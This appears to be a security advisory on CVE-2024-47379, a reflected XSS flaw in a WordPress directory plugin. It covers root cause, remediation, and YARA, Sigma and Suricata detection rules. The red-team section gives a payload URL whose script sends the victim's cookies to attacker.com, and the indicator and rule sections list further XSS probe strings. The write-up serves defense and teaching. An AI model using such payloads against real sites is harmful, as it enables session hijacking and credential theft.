CVE-2024-47379

Executive Summary

CVE-2024-47379 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Web Directory Free by Shamalli, affecting versions up to and including 1.7.3. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). The EPSS score is 0.0%, indicating low current exploitation activity, but the lack of a vendor patch makes it a persistent risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the vendor (Shamalli) has not released a patch, the plugin should be considered abandoned. Site administrators must manually remove or replace the plugin to eliminate the risk. No known supply chain compromise (e.g., malicious commits) has been reported, but the unpatched state increases the likelihood of future exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1) – Reflected XSS can lead to session hijacking, credential theft, or malware delivery via social engineering.

Deep Dive & Mechanics

The vulnerability exists in the web-directory-free plugin’s handling of URL parameters. When a user visits a crafted URL, the plugin reflects the malicious input without proper sanitization or output encoding. For example, a parameter like ?search=<script>alert('XSS')</script> may be echoed back in the HTML response, executing the script in the victim’s browser.

Root Cause: The plugin uses echo $_GET['param'] or similar constructs without applying esc_html(), esc_attr(), or wp_kses() WordPress sanitization functions. This allows arbitrary HTML/JavaScript injection.

Attack Vector: An attacker crafts a malicious link (e.g., https://victim-site.com/?page_id=123&search=<script>...</script>) and distributes it via phishing emails, forums, or social media. When a logged-in administrator clicks the link, the script can steal cookies, perform actions on their behalf, or redirect to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.7.3):

// In a template file or shortcode handler
$search = $_GET['search'];
echo '<div class="search-result">' . $search . '</div>';

Patched Code (hypothetical fix):

$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<div class="search-result">' . esc_html($search) . '</div>';

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode output, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Web Directory Free <= 1.7.3 installed and activated.
• A victim user (e.g., admin) who will click the crafted link.

Exploit Payload:

https://victim-site.com/?page_id=123&search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Identify a vulnerable endpoint (e.g., search parameter).
2. Craft a URL with a malicious JavaScript payload.
3. Deliver the link to the victim via email or social engineering.
4. When the victim clicks, the script executes, exfiltrating cookies to the attacker’s server.

Note: No public exploit code (e.g., Exploit-DB) is available for this CVE.

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for unusual query strings containing <script>, onerror=, or javascript:.
• Use WAF rules to block reflected XSS patterns.

Lab Setup:

• Install WordPress and the vulnerable plugin in a sandboxed environment.
• Use a browser with developer tools to inspect reflected parameters.
• Simulate attacks with tools like Burp Suite or OWASP ZAP.

Indicators of Compromise (IOCs)

• URL Patterns: ?search=<script>, ?q=<img src=x onerror=...>, ?s=javascript:alert(1)
• Log Entries: HTTP requests with search= parameter containing < or > characters.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
• File Changes: No files modified; attack is purely reflected.

Detection Engineering

YARA Rule

rule CVE_2024_47379_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Web Directory Free plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-47379"
    strings:
        $xss1 = /[?&]search=.*<script/i
        $xss2 = /[?&]search=.*onerror=/i
        $xss3 = /[?&]search=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on Web Directory Free Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious search parameters targeting the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'search=<script'
            - 'search=onerror='
            - 'search=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47379 Reflected XSS Attempt"; flow:to_server; content:"search="; nocase; pcre:"/[?&]search=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin: Deactivate and delete web-directory-free from the WordPress admin panel.
2. Replace with alternative: Use a maintained directory plugin (e.g., Business Directory Plugin).
3. Scan for compromise: Check for unauthorized admin accounts or suspicious content.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly audit plugins for updates and vulnerabilities.

Workaround (if removal is not possible):

• Manually patch the vulnerable file by adding esc_html() to all echoed user inputs.
• Use a security plugin (e.g., Wordfence) to block malicious query strings.

Valters IT
Securing Digital Frontiers